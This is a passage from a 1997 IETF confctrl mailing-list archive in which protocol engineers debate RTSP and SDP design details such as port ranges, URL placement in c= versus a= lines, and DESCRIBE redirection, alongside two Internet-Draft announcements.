strong must-have argument for this, this just seems to invite trouble.

Henning

From majordom@ISI.EDU  Mon Sep  8 01:48:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23732>; Mon, 8 Sep 1997 08:48:44 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23722>; Mon, 8 Sep 1997 08:48:42 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA17735
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 08:48:42 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA04161
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 8 Sep 1997 08:48:39 -0700
Message-Id: <3.0.3.32.19970908084824.0121e490@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Mon, 08 Sep 1997 08:48:24 -0700
To: sumisu@nttlabs.com (Jeffrey D. Smith)
From: Rob Lanphier <robla@prognet.com>
Subject: Re: SDP syntax with RTSP 
Cc: confctrl@ISI.EDU
In-Reply-To: <199709081509.IAA12346@mailhost.nttlabs.com>
References: <Your message of "Sun, 07 Sep 1997 14:54:16 PDT">
 <3.0.3.32.19970907145416.00f4f0c8@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 08:08 AM 9/8/97 -0700, Jeff Smith wrote:
>My biggest problem with this (as I said in Munich) is the concern for
>how you use the resulting SDP for an invitation (SIP).
>
>Something has to keep the mapping of c=URL_stuff and
>c=ip_address_stuff so that you can invite other entities.

Ultimately, it will be up to the client that wants to use the SDP in SIP to
do the necessary translation.  I don't see how it is possible to avoid this
situation, especially given that we are under the constraint of the client
potentially picking the multicast address.  Any suggestions? :)

>This would of course be easier if SDP seperated media from transport,
>but that's a done deal for now... we work with what we have.

Yes.  I think the ultimate answer is going to be to define a new media
description language, but we realized we needed to retrofit SDP into RTSP
first and get some experience with it before we rush off and create a new
thing (should we need to).  

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Mon Sep  8 02:32:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27369>; Mon, 8 Sep 1997 09:32:35 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27363>; Mon, 8 Sep 1997 09:32:34 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA19785
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 09:32:33 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA13947
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 8 Sep 1997 09:32:17 -0700
Message-Id: <3.0.3.32.19970908093202.012a9758@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Mon, 08 Sep 1997 09:32:02 -0700
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Open Issues for draft04
Cc: confctrl@ISI.EDU
In-Reply-To: <34141C27.F1501234@cs.columbia.edu>
References: <3.0.3.32.19970907230402.00df57a8@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 11:39 AM 9/8/97 -0400, Henning Schulzrinne wrote:
>Rob Lanphier wrote:
>>          g. Port number spec
>> 
>> Closed, with caveat.
>> 
>> RL: Henning's recent proposal looks fine for the most part.  I would like
>> to add the ability to explicitly give a two-port range rather than assume
>> that because one port is reserved, that port+1 is reserved (in other words,
>> don't break the current RTP/RTCP assumptions, but don't assume).
>
>Can't we defer this until a demonstrated need emerges? If we allow
>breaking "port+1", this just means that either server/client does need
>to handle the non-contiguous case or we have yet another error
>condition. Given that nobody has (if my memory serves) put forth a
>strong must-have argument for this, this just seems to invite trouble.

I'm not arguing for breaking the RTP model for things.  I just think it's
potentially confusing to rely on convention when it's almost as easy to be
explicit.  I'll give an example of my modification of your proposal:

Unicast PLAY/RECORD:

C->S: SETUP
      Transport: client_port=3456-3457

S->C: 200 OK
      Transport-Info: server_port=3000-3001;client_port=3456-3457

For unicast recording, this would be the same, except that the client
now sends data to 3000/3001 and the server sends RTCP report to 3457.

For multicast, the verbose option:

C->S: SETUP
      Transport: client_port=3456-3457

S->C: SETUP
      Transport-Info: client_port=3000-3001; server_port=3000-3001;
address=224.2.0.1

This signals to the client that it better expect data on 3000 rather
than 3456, overriding the client's choice. (The client didn't know that
multicast was in the cards.)

We'll be explicit about *not* breaking the RTP/RTCP contiguous port model,
and in fact, only allowing ranges reinforces that.  I think it's better
design to be explicit about this, though, because this makes proxies a bit
more generalized than to assume current RTP conventions.

Also, we do some funky non-RTP experimental kinds of things in our
implementation (yes, CUSH has run amok) and would like to be able to
communicate this to proxies in a generalized way.  We don't call it RTP, so
proxies that are doing deep checking of RTP-ism can always refuse a
connection based on the transport.  However, it would be nice if the syntax
doesn't rely on RTP assumptions.

And, of course, there's always the ulterior motive.  I'm imagining getting
phone calls from frustrated proxy writers that can't RTFM, and will
complain when they see the server say "server_port=3000" when the port is
really 3001.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Mon Sep  8 05:13:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09307>; Mon, 8 Sep 1997 12:13:37 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09300>; Mon, 8 Sep 1997 12:13:35 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA29026
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 12:13:35 -0700 (PDT)
Received: from little-toot.precept.com (little-toot.precept.com [204.162.117.196])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id MAA06142;
	Mon, 8 Sep 1997 12:13:03 -0700 (PDT)
Date: Mon, 8 Sep 1997 12:13:09 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
Reply-To: karl@precept.com
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP
In-Reply-To: <3.0.3.32.19970907145416.00f4f0c8@mail.prognet.com>
Message-Id: <Pine.WNT.3.96.970908120952.-910883A-100000@little-toot.precept.com>
X-X-Sender: karl@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> One way to distinguish between client redirection and multi-server proxying
> is to use the global "c=" when the server is volunteering to proxy requests
> and to provide a cohesive session, and to use *only* media-level "c=" lines
> when the client is to be redirected to destinations unknown.

This method really bothers me.  The c= is one of those things that, if it
appears at session level, is effectively a default for the various media.

Your proposal gives it a different meaning and, perhaps more importantly, 
scoping.

I'd suggest not overloading c=

		--karl--





From majordom@ISI.EDU  Mon Sep  8 19:28:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12282>; Tue, 9 Sep 1997 02:29:07 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12276>; Tue, 9 Sep 1997 02:29:05 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id CAA27184
	for <confctrl@ISI.EDU>; Tue, 9 Sep 1997 02:29:05 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-52.ricochet.net) by murrow.prognet.com with SMTP id AA21722
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Tue, 9 Sep 1997 02:28:58 -0700
Message-Id: <3.0.3.32.19970909022835.00e42ac8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Tue, 09 Sep 1997 02:28:35 -0700
To: Stephen Casner <casner@precept.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: SDP syntax with RTSP
Cc: hgs@cs.columbia.edu, confctrl@ISI.EDU
In-Reply-To: <Pine.PCW.3.95.970907231343.8846A-100000@revelstoke.precept
 .com>
References: <3.0.3.32.19970907205223.011a7bb4@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 11:30 PM 9/7/97 -0700, Stephen Casner wrote:
>If redirection is not allowed in the DESCRIBE, then you don't need the
>proxy attribute because it is implicit that the opaque URLs get sent
>to the same place whence the DESCRIBE came.

...which actually, from PN's perspective would be great, actually.  If we
could count on a server to aggregrate all URLs which it spits out in a
DESCRIBE response, we would be happy campers.

I'm a bit worried, though, about having context-sensitive SDP, where the
exact same SDP coming from two different sources (one from an HTTP server
and one from an RTSP server) actually mean two different things.  If we
plan to allow SDP as a metafile (which several folks have expressed
interest in doing), I'd prefer to have a way of distinguishing the
indirection that necessarily goes on there from the same-server
initialization that goes on in SDP.

I also think that we do need some way of specifying aggregate control
(1-1-n), vs. a 1-n-n scenario.  Thus, Henning's suggestion (or a varient
thereof) seemed pretty reasonable:

      v=0
      o=- 2890844256 2890842807 IN IP4 172.16.2.93
      s=RTSP Session
      i=An Example of RTSP Session Usage
      a=aggregate:rtsp://server.com/twister   
      t=0 0
      m=audio 0 RTP/AVP 0	
      c=IN URL rtsp://server.com/twister/audio
      m=video 0 RTP/AVP 26
      c=IN URL rtsp://server.com/twister/video

I feel sort of silly arguing this side of the case, though, because doing
1-n-n is something PN has no desire to do, and so in trying to make that
possible, I'm not making life any easier on our engineers.  Because of
this, I'm very inclined to agree with you, Steve, because what you tend to
point out here is how to do the 99% case (server doesn't DESCRIBE something
it isn't ready to serve).

So, the questions we need to ask ourselves:

*  Is SDP suited to metafile/indirection use as well as media initialization?
*  Do we wish to be able to specify both 1-1-n and 1-n-n in the RTSP/SDP
DESCRIBE response?

If both of these answers are "yes", then it's pretty clear we need at least
one, if not two mechanisms.  If we are willing to let these go, we can
avoid introducing extra SDP mechanisms.

Rob


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Tue Sep  9 01:42:36 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21232>; Tue, 9 Sep 1997 09:07:03 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21224>; Tue, 9 Sep 1997 09:07:02 -0700
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06302
	for <confctrl@ISI.EDU>; Tue, 9 Sep 1997 09:07:01 -0700 (PDT)
Received: from scv1.apple.com (A17-128-100-139.apple.com [17.128.100.139])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id IAA18636;
	Tue, 9 Sep 1997 08:44:27 -0700
Received: from [17.255.20.102] ([17.255.20.102])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id IAA32596;
	Tue, 9 Sep 1997 08:44:35 -0700
X-Sender: singer@mail.apple.com
Message-Id: <v03110733b03b1e1a7cb9@[17.255.20.102]>
In-Reply-To: <3.0.3.32.19970909022835.00e42ac8@mail.prognet.com>
References: <Pine.PCW.3.95.970907231343.8846A-100000@revelstoke.precept
 .com> <3.0.3.32.19970907205223.011a7bb4@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 9 Sep 1997 08:42:36 -0700
To: Rob Lanphier <robla@prognet.com>
From: Dave Singer <singer@apple.com>
Subject: Re: SDP syntax with RTSP
Cc: Stephen Casner <casner@precept.com>, hgs@cs.columbia.edu, confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm not happy that we fully understand all the issues around having
sessions which are served through different RTSP servers (sync. is one that
bugs me, for example). I'd be most happy with a spec which has enough room
to allow this to happen in future, while not requiring it now. To that end,
how about saying that in this version of the spec, it is an error for the
media URLs to address a host other than the originating RTSP host.

Note that this does NOT stop the RTSP hist from being a co-ordinator for
multiple stream servers (Though we need to be careful what IP address the
RTCP goes to for each stream).

David Singer
Apple Computer/IMG 408-974-3162



From majordom@ISI.EDU  Tue Sep  9 14:00:40 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28212>; Tue, 9 Sep 1997 21:00:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28206>; Tue, 9 Sep 1997 21:00:47 -0700
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.23])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA07339
	for <confctrl@ISI.EDU>; Tue, 9 Sep 1997 21:00:46 -0700 (PDT)
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1459.27)
	id <SS7KGD2R>; Tue, 9 Sep 1997 21:01:47 -0700
Message-Id: <E1F032A1F6FAD011BE6100805FD468021EE418@RED-40-MSG.dns.microsoft.com>
From: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
To: "'Stephen Casner'" <casner@precept.com>,
        Rob Lanphier
	 <robla@prognet.com>
Cc: hgs@cs.columbia.edu, confctrl@ISI.EDU
Subject: RE: SDP syntax with RTSP
Date: Tue, 9 Sep 1997 21:00:40 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sunday, September 07, 1997 11:31 PM, Stephen Casner
[SMTP:casner@precept.com] wrote:
> If redirection is not allowed in the DESCRIBE, then you don't need the
> proxy attribute because it is implicit that the opaque URLs get sent
> to the same place whence the DESCRIBE came.  If redirection is allowed
> and the host that sent the DESCRIBE is the one that is going to
> provide control, then the URLs should start with its hostname.  The
> remainder of the URL tells where the data comes from, in any format
> that is legal and meaningful to the proxy.  The client doesn't need to
> know that proxying is going on, and should not be required to take any
> other special action.  (I think I've been making this argument
> before in a slightly differnt context.)
> 
> I don't see that the a=rtsp:DESCRIBE is needed, either.  When you
> start an interaction with an RTSP server, you do a DESCRIBE.  If that
> session description redirects you to another RTSP server (assuming
> we've made that choice), then you do another DESCRIBE on that new RTSP
> session.  If it doesn't, you don't.

I agree completely with the points that you are making here.

I think that when a client is redirected to a new server, it's in its
best interest to send a new DESCRIBE command to that server.  The client
should not take for granted that all the information in the presentation
description that it got from the first server was accurate, or complete.

There might be special cases where a redirecting server is tightly
synchronized with a server that it redirects to.  But I see this as an
exceptional situation.  In such a case, the client might not need to
send a second DESCRIBE command.  As an optimization, one may want to
inform the client that the second DESCRIBE is not needed.  This could be
done by adding a special attribute to the SDP record, such as this:
  a=rtsp:no-DESCRIBE

Anders


From majordom@ISI.EDU  Tue Sep  9 11:41:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02115>; Tue, 9 Sep 1997 23:15:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02109>; Tue, 9 Sep 1997 23:15:11 -0700
Received: from xn1-gw.atlas.fr (xn1-b.atlas.fr [194.51.9.50])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA11217
	for <confctrl@isi.edu>; Tue, 9 Sep 1997 23:15:10 -0700 (PDT)
X400-Received: by /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Wed, 10 Sep 1997 08:14:29 +0200
X400-Received: by mta xn1-gw.atlas.fr in /PRMD=INTERNET/ADMD=ATLAS/C=FR/;
               Relayed; Wed, 10 Sep 1997 08:14:29 +0200
X400-Received: by /ADMD=ATLAS/C=FR/; Relayed; Wed, 10 Sep 1997 08:14:47 +0200
X400-Received: by /PRMD=cnet/ADMD=atlas/C=fr/; Relayed;
               Tue, 9 Sep 1997 09:41:29 +0200
Date: Tue, 9 Sep 1997 09:41:29 +0200
X400-Originator: bouchare@lannion.cnet.fr
X400-Recipients: non-disclosure:;
X400-Mts-Identifier: [/PRMD=cnet/ADMD=atlas/C=fr/;873790812@x400.lannion.cnet.fr]
X400-Content-Type: P2-1984 (2)
Content-Identifier: unsubsribe
Alternate-Recipient: Allowed
From: Bouchare <bouchare@lannion.cnet.fr>
Message-Id: <01BCBD04.8CB4A8A0@lat1620.lannion.cnet.fr>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject:  unsubsribe
Encoding: 0 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Tue Sep  9 16:51:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02857>; Tue, 9 Sep 1997 23:48:04 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02851>; Tue, 9 Sep 1997 23:48:02 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA12034
	for <confctrl@isi.edu>; Tue, 9 Sep 1997 23:48:01 -0700 (PDT)
Received: from revelstoke.precept.com (port6.precept.com [204.162.119.56])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id XAA11832;
	Tue, 9 Sep 1997 23:47:29 -0700 (PDT)
Date: Tue, 9 Sep 1997 23:51:39 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP
In-Reply-To: <v03110733b03b1e1a7cb9@[17.255.20.102]>
Message-Id: <Pine.PCW.3.95.970909235055.6702A-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Mon, 8 Sep 1997, Henning Schulzrinne wrote:
> The base assumption always was that DESCRIBE is optional and that the
> default mode is that you don't need it.

OK, so before you proposed a=rtsp:DESCRIBE, how was it that you would
decide when to do a DESCRIBE?


On Tue, 9 Sep 1997, Rob Lanphier wrote:
> I'm a bit worried, though, about having context-sensitive SDP, where the
> exact same SDP coming from two different sources (one from an HTTP server
> and one from an RTSP server) actually mean two different things.

OK, fine, I share that worry.  So, that means SETUPs get sent where
the host portions of the RTSP URLs in the DESCRIBE say.  And, as I
said in the summary message I sent on Saturday, this means the
aggregate URL is not really a promise of aggregate control unless the
URLs do point to the same host.

> If we
> plan to allow SDP as a metafile (which several folks have expressed
> interest in doing), I'd prefer to have a way of distinguishing the
> indirection that necessarily goes on there from the same-server
> initialization that goes on in SDP.

I'm not sure I understand you here.  You can tell whether indirection
is occurring by the host portion of the URL being different.  But I do
see that when SDP is used as a metafile (e.g., fetched via HTTP), then
there is no aggregate RTSP URL, whereas in the RTSP case that
aggregate URL is what gets the operation started.  So, I guess that's
what you were getting to next:

...
>       a=aggregate:rtsp://server.com/twister   
>       t=0 0
>       m=audio 0 RTP/AVP 0	
>       c=IN URL rtsp://server.com/twister/audio
>       m=video 0 RTP/AVP 26
>       c=IN URL rtsp://server.com/twister/video

We can add an aggregate URL in the session global information like
this, but I think the format should be consistent for the aggregate
and media URLs.  There have been strong objections, which I agree
with, to using the session global c= for this purpose.  In fact, as I
stated in an earlier message, I don't think we should put the URL on
the c= line for the per-media URLs either.  Nobody has commented on
that part of my message, but I confirmed in private email with Jeff
Smith today that this is the point of his message yesterday to
confctrl, too.  He says:

    Exactly.  The 'c' field is supposed to be for IP addresses and
    putting URLs is overloading it and creates potential problems in
    other cases (SIP as an example).

    My model is to use an 'a' field if necessary for RTSP URLs, etc.

This is in fact a better argument than the ones I mentioned.  And if
we use an 'a' field, then we can be consistent here between the
aggregate URL and the per-media URLs.

Precept has made a local extension to SDP to control the media source
for multicast video servers playing scheduled programs:

    a=source: <server> live
    a=source: <server> screen
    a=source: <server> file <list of files> [loop]

Something similar (choose a keyword) could be used to specify the URL:

    a=source-url: rtsp://server.com/twister/video

This could appear in both the session-global section of an SDP
metafile to supply the aggregate URL as well as in the per-media
sections.

> I feel sort of silly arguing this side of the case, though, because doing
> 1-n-n is something PN has no desire to do, and so in trying to make that
> possible, I'm not making life any easier on our engineers.  Because of
> this, I'm very inclined to agree with you, Steve, because what you tend to
> point out here is how to do the 99% case (server doesn't DESCRIBE something
> it isn't ready to serve).

What I was arguing at length about before Munich was to make sure
n-1-n would work as well as 1-1-n (I think, if I'm getting the
nomenclature right).  A client can always elect 1-n-n by doing
separate RTSP sessions for each medium, and the server can refuse with
the "Only aggregate control" error response.


On Tue, 9 Sep 1997, Dave Singer wrote:

> I'm not happy that we fully understand all the issues around having
> sessions which are served through different RTSP servers (sync. is one that
> bugs me, for example). I'd be most happy with a spec which has enough room
> to allow this to happen in future, while not requiring it now. To that end,
> how about saying that in this version of the spec, it is an error for the
> media URLs to address a host other than the originating RTSP host.

I don't think we need to take this step.  Clients that don't want to
implement their own coordination of streams coming from separate
servers can readily determine (from the host portions of the per-media
URLs being different) when a session requires it, and can put up an
error message or take other appropriate action.  If important clients
take this stand, then authors won't create sessions using separate
servers.  But the protocol need not legislate one way or the other.

> Note that this does NOT stop the RTSP hist from being a co-ordinator for
> multiple stream servers (Though we need to be careful what IP address the
> RTCP goes to for each stream).

The transport information in the SETUP will tell where the media will
come from and hence where the RTCP should be returned to.

							-- Steve


From majordom@ISI.EDU  Wed Sep 10 05:59:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11028>; Wed, 10 Sep 1997 07:05:06 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11022>; Wed, 10 Sep 1997 07:05:05 -0700
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA20693
	for <confctrl@isi.edu>; Wed, 10 Sep 1997 07:05:04 -0700 (PDT)
Received: from ietf.ietf.org by ietf.org id aa07566; 10 Sep 97 9:59 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-confarch-00.txt
Date: Wed, 10 Sep 1997 09:59:28 -0400
Message-Id:  <9709100959.aa07566@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The Internet Multimedia Conferencing Architecture
	Author(s)	: J. Crowcroft, M. Handley, J. Ott, C. Bormann
	Filename	: draft-ietf-mmusic-confarch-00.txt
	Pages		: 17
	Date		: 09-Sep-97
	
   This document provides an overview of multimedia conferencing on the
   Internet.  The protocols mentioned are specified elsewhere as RFCs,
   Internet-Drafts, or ITU recommendations.  Each of these
   specifications gives details of the protocol itself, how it works and
   what it does.  This document attempts to provide the reader with an
   overview of how the components fit together and of some of the
   assumptions made, as well as some statement of direction for those
   components still in a nascent stage.
 
   This document is a product of the Multiparty Multimedia Session
   Control (MMUSIC) working group of the Internet Engineering Task
   Force.  Comments are solicited and should be addressed to the working
   group's mailing list at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login wih the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-confarch-00.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-confarch-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-confarch-00.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19970909144015.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-confarch-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-confarch-00.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19970909144015.I-D@ietf.org>

--OtherAccess--

--NextPart--



From majordom@ISI.EDU  Wed Sep 10 05:59:54 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11036>; Wed, 10 Sep 1997 07:05:08 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11030>; Wed, 10 Sep 1997 07:05:08 -0700
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA20699
	for <confctrl@isi.edu>; Wed, 10 Sep 1997 07:05:07 -0700 (PDT)
Received: from ietf.ietf.org by ietf.org id aa07684; 10 Sep 97 9:59 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-04.txt
Date: Wed, 10 Sep 1997 09:59:54 -0400
Message-Id:  <9709100959.aa07684@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

A Revised Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: V. Jacobson, M. Handley
	Filename	: draft-ietf-mmusic-sdp-04.txt
	Pages		: 35
	Date		: 09-Sep-97
	
This document defines the Session Description  Protocol,  SDP.
SDP  is  intended  for  describing multimedia sessions for the
purposes of  session  announcement,  session  invitation,  and
other forms of multimedia session initiation.
  
This document is a product of the Multiparty Multimedia Session  Control
(MMUSIC) working group of the Internet Engineering Task Force.  Comments
are solicited and should be addressed to  the  working  group's  mailing
list at confctrl@isi.edu and/or the authors.


Internet-Drafts are available by anonymous FTP.  Login wih the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-04.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp-04.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-04.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19970909164823.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-04.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19970909164823.I-D@ietf.org>

--OtherAccess--

--NextPart--




From majordom@ISI.EDU  Wed Sep 10 06:12:17 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11152>; Wed, 10 Sep 1997 07:12:32 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
